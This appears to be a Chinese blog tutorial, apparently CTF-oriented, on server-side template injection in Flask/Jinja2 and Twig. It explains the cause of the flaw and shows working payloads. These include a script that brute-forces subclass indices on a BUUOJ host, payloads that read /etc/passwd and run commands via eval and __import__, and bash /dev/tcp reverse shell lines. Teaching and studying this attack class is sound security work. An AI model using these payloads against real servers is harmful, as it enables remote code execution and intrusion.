zoukankan      html  css  js  c++  java
  • SSTI模板注入

    前置知识

    在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。

    https://www.freebuf.com/column/187845.html

    ssti漏洞成因

    ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本文着重对flask模板注入进行浅析。

    模板引擎

    首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

    模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

    通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

    后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。

    前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。

    让我们用例子来简析模板渲染。

    <html>
    <div>{$what}</div>
    </html>

    我们想要呈现在每个用户面前自己的名字。但是{$what}我们不知道用户名字是什么,用一些url或者cookie包含的信息,渲染到what变量里,呈现给用户的为

    <html>
    <div>张三</div>
    </html>

    当然这只是最简单的示例,一般来说,至少会提供分支,迭代。还有一些内置函数。

    注入原理

        <?php
    
        require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
    
        Twig_Autoloader::register(true);
    
        $twig = new Twig_Environment(new Twig_Loader_String());
    
        $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));  // 将用户输入作为模版变量的值
    
        echo $output;
    
        ?>

    使用 Twig 模版引擎渲染页面,其中模版含有 {{name}} 变量,其模版变量值来自于 GET 请求参数 $_GET["name"]。

    显然这段代码并没有什么问题,即使你想通过 name 参数传递一段 JavaScript 代码给服务端进行渲染,也许你会认为这里可以进行 XSS,

    但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击:

    但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:

    <?php
    
        require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
    
        Twig_Autoloader::register(true);
    
        $twig = new Twig_Environment(new Twig_Loader_String());
    
        $output = $twig->render("Hello {$_GET['name']}");  // 将用户输入作为模版内容的一部分
    
        echo $output;    
    
        ?>

     他将我们的代码进行了执行。服务器将我们的数据经过引擎解析的时候,进行了执行,模板注入与sql注入成因有点相似,都是信任了用户的输入,将不可靠的用户输入不经过滤直接进行了执行,用户插入了恶意代码同样也会执行。

    进一步分析

    我们在pycharm中运行代码 

    print("".__class__)

    返回了<class 'str'>,对于一个空字符串他已经打印了str类型,在python中,每个类都有一个bases属性,列出其基类。现在我们写代码。

    print("".__class__.__bases__)

    打印返回(<class 'object'>,),我们已经找到了他的基类object,而我们想要寻找object类的不仅仅只有bases,同样可以使用mromro给出了method resolution order,即解析方法调用的顺序。我们实例打印一下mro。

    print("".__class__.__mro__)

    返回了(<class 'str'>, <class 'object'>),同样可以找到object类,正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势。正如上面的解释,mro返回了解析方法调用的顺序,将会打印两个。在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。我们这里只举例最简单的。接下来我们增加代码。接下来我们使用subclasses,subclasses() 这个方法,这个方法返回的是这个类的子类的集合,也就是object类的子类的集合。

    print("".__class__.__bases__[1].__subclasses__())

    返回:

    接下来就是我们需要找到合适的类,然后接下来就是需要从合适的类中寻找我们需要的方法。

    脚本:

    import requests
    import re
    import html
    import time
    
    index = 0
    for i in range(0, 1000):
        try:
            url = "http://5a8d97da-4cb0-43f8-9810-e9c352e034ad.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
            r = requests.get(url)
            res = re.findall("<h2>You searched for:</h2>W+<h3>(.*)</h3>", r.text)  #正则匹配
            time.sleep(0.1)
            # print(res)
            # print(r.text)
            res = html.unescape(res[0])
            print(str(i) + " | " + res)
            if "subprocess.Popen" in res:
                index = i
                break
        except:
            continue
    print("indexo of subprocess.Popen:" + str(index))

    文件操作

    object.__subclasses__()[40]为file类,所以可以对文件进行操作

    读文件

    • object.__subclasses__()[40]('/etc/passwd').read()

    写文件

    • object.__subclasses__()[40]('/tmp').write('test')

    命令执行

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
    下有eval,__import__等的全局函数,可以利用此来执行命令:
    #eval
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
    #__import__
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

    反弹shell

     直接执行系统命令

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1').read()")
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1').read()

    绕过tips

    https://p0sec.net/index.php/archives/120/

     
     
  • 相关阅读:
    mysql8.0.20安装
    MySQL EXPLAIN结果集分析
    初次安装aliSql
    升级vim到8.0
    REPL环境对语言的帮助
    Python环境搭建及pip的使用
    mysql数据库分库分表(Sharding)
    Git的使用
    Promise的初步认识
    对引用的文件起别名
  • 原文地址:https://www.cnblogs.com/Silkage/p/13290817.html
Copyright © 2011-2022 走看看